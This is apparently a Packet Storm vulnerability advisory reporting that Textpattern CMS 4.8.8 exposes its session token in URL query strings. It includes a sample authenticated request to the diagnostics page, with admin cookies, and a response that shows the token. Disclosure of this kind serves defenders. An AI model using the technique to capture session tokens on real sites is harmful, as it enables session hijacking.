Textpattern 4.8.8 Session Token Disclosure

2023-05-1100:00:00
nu11secur1ty
packetstormsecurity.com
187
JSON
`## Title: textpattern-4.8.8 Session token in URL Vulnerability  
## Author: nu11secur1ty  
## Date: 05.10.2023  
## Vendor: https://textpattern.com/  
## Software: https://github.com/textpattern/textpattern/releases/tag/4.8.8  
## Reference: https://portswigger.net/kb/issues/00500700_session-token-in-url,  
https://cwe.mitre.org/data/definitions/200.html  
  
## Description:  
Sensitive information within URLs may be logged in various locations,  
including the user's browser, the web server, and any forward or  
reverse proxy servers between the two endpoints. URLs may also be  
displayed on-screen, bookmarked or emailed around by users. They may  
be disclosed to third parties via the Referer header when any off-site  
links are followed. Placing session tokens into the URL increases the  
risk that they will be captured by an attacker.  
Issue detail: The URL in the request appears to contain a session  
token within the query  
string:http://pwnedhost7.com/textpattern-4.8.8/textpattern/index.php?logout=1&lang=en&_txp_token=64f17b3d874e3c5f9c728f03e1271c64  
  
STATUS: Medium Vulnerability  
  
[+]Exploit:  
```GET  
GET /textpattern-4.8.8/textpattern/index.php?event=diag HTTP/1.1  
Host: pwnedhost7.com  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138  
Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: txp_login=Admin%2C628717737574e8be05624bb2da74fb38;  
txp_login_public=d5f8d91942Admin  
Connection: close  
  
```  
[+]Response:  
```HTTP  
HTTP/1.1 200 OK  
Date: Wed, 10 May 2023 07:51:37 GMT  
Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30  
X-Powered-By: PHP/7.4.30  
Content-Security-Policy: frame-ancestors 'self'  
X-Frame-Options: SAMEORIGIN  
Connection: close  
Content-Type: text/html; charset=utf-8  
Content-Length: 10725  
  
<!DOCTYPE html>  
<html lang="en" dir="ltr">  
<head>  
<meta charset="utf-8">  
<meta name="robots" content="noindex, nofollow">  
<title>Diagnostics - My site | Textpattern CMS</title>  
<script src="vendo  
...[SNIP]...  
<input name="event" type="hidden" value="diag" /><a rel="external  
noopener" target="_blank"  
href="?event=diag&step=phpinfo&_txp_token=64f17b3d874e3c5f9c728f03e1271c64">PHP  
configuration <span class="ui-icon ui-icon-extlink">  
```  
  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/textpattern/2023/textpattern-4.8.8)  
  
## Proof and Exploit:  
[href](https://www.nu11secur1ty.com/2023/05/textpattern-488-session-token-in-url.html)  
  
## Time spend:  
01:15:00  
  
  
`
JSON